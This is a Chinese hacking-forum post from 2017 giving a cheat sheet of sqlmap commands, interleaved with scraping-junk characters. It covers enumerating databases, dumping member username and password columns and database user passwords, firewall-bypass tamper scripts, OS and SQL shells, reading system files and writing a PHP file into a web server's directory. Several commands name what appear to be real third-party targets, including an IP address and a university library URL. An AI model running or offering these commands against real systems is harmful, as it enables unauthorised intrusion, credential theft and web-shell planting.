找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1734|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
; b# I- C( A1 ?3 e; r5 T9 ^1 [$ j. a) g4 B& ~
update :::::>     in the folder   after  execute    following   order : svn update" d& A; w. H0 v3 h2 {' w
( [" m5 h3 r$ B- I1 j* b
sqlmap.py -r 1.txt --current-db
/ _$ Z7 L% F) I/ Z) R6 |% t6 Q; u: r( z# u
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
) ~% D, P1 r7 W# K& a
5 J; X3 E/ g" U2 Y. T4 @3 s' ?3 O* t==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) # f' r. e- x# \2 H8 N3 g: ]
猜解数据库
, N# \3 E: J9 V4 B( i* c./sqlmap.py -u "injection-url" --dbs
* r; D( n: r/ k& L) Lsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"- l5 x3 b9 M" ~% k# a5 P

$ |2 @; o  K" {+ h# o4 E猜解表名
# _1 }. T1 S1 a/ Q' G0 b7 y./sqlmap.py -u "injection-url" -D database_name --tables
0 e7 J) H8 K8 N# @
* x6 h( p; D& msqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
; u5 Z9 @* `4 \9 ]3 j; g5 Qsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 7 x2 j  u! P/ |" Z2 A) L* r3 Q

4 W4 Y6 Q8 {; O3 O! I0 @sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump9 `5 w) n6 x9 @( ~9 i- V" r) V5 x
4 |; g  q6 O6 z0 N" R0 O' ?
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
0 K2 g  Z* A* O5 M( T5 xsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
$ _1 v+ M. B% q6 Z0 a/ @9 A/ Hsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" ' C! t' G9 M6 _. L: M0 P
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"' w$ o, g% q6 O7 }

6 B7 N/ R! r" ]& Y& R% z5 Isqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
8 s# a3 P( _; V0 s; m* e- _$ psqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
, J3 A  u# y* Q* @sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"7 w/ \. [3 a; U" |4 w
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"( s2 m8 P/ t3 A$ W0 Y7 C; h! n
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
0 E8 G+ s) g  n6 N4 c( M- {  B" a4 v2 f0 N7 Y" P# W
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了% U) s1 m% z4 V
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
; {% P6 f# R" s6 a
8 t2 w0 M. q8 a+ S; L) |" ^7 T% w6 G; Vsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"+ o9 q; ~" V& a5 w; E  _
猜解列名
$ U3 ?  P) a* h: B./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
8 [1 Z: f- g# z9 [/ ?, A; H
9 D0 r1 R4 O7 n% I: ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" / @, S# t1 x  c# @2 I3 O6 f
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
  n/ \6 i9 _6 }: ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"3 O: i; i4 A( L. {* o

! g1 @3 f9 {* l0 b" F1 ~( V6 }2 Lsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
$ ?# D/ ]6 L  k/ ?&submit=Go" e: H; y8 M: _! }9 K/ Q
猜解值9 f* c. A- B; o, N  m6 _0 S
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump4 U2 i8 U9 t1 z) U% L/ i
========================================================
+ g- q) B% [% ?$ x搜索表名中包括mana字符的
3 d, x6 k! Q/ T$ I  k/sqlmap.py -u "injection-url" -T mana --search
7 Y5 @; Q* }0 s* e返回一个交互式sql shell8 O3 o' p+ m7 b! Q
/sqlmap.py -u "injection-url" --sql-shell  d1 o1 Y* R8 n- R  s
读取指定文件(需权限)) m0 k: Z7 }. H* {7 B
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
" y+ U8 G6 E/ m0 k查看当前 用户 及 数据库 ( v, K/ e9 B6 t2 H
/sqlmap.py -u "injection-url" --current-user --current-db
5 t. W7 C7 [8 l2 t本地文件 写入 远程目标绝对路径3 ]) w$ Z6 n+ G. c  ~5 L( P. K2 C
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径! g3 p* y( k7 a
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" & v% c" k( u) U, w4 M9 L' }0 Q3 {* W. P

3 K- A5 ^2 ~/ v& I% ~sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
% _- y% G( S% E# N; b6 [查看某用的权限
& y5 I% t0 a" N8 I( {4 X6 x/sqlmap.py -u "injection-url" --privileges -U root, S$ b( ~% N: l/ I
查看当前用户是否为dba
! \. i9 s8 j2 F# v* B3 g/sqlmap.py -u "injection-url" --is-dba
  p0 Y- A+ |% m( M6 y读取所有数据库用户或指定数据库用户的密码# y" }4 ^& F7 d( m/ T
sqlmap.py -r 1.txt --users --passwords
: d/ u4 X/ W1 ^$ J6 }- |0 Asqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
# W0 l, X2 }& s" M
0 R1 e, \/ X/ t/sqlmap.py -u "injection-url" --passwords -U root( z$ M1 W5 {+ K) B

1 h0 z4 ]* z% b--start&&--stop 与 --first&&--last 的区别. U$ n3 z! G( L2 S9 ?
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……). n$ ]7 b2 d; m: d% R% Q2 c
9 d0 E5 x) ?& A! y$ {
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)0 g, K% O& H( B& n
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables, @& q' Y4 v0 V1 K
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
1 m( s1 c- p3 b# L& S
6 ]0 r+ B: ]+ E* w$ f/ \# g3 Q执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)' l% m6 m( i) W% U
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip", Y2 z0 s3 I. Y* l$ G6 c

5 S0 a7 o/ L+ f7 n; Q+ g: v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表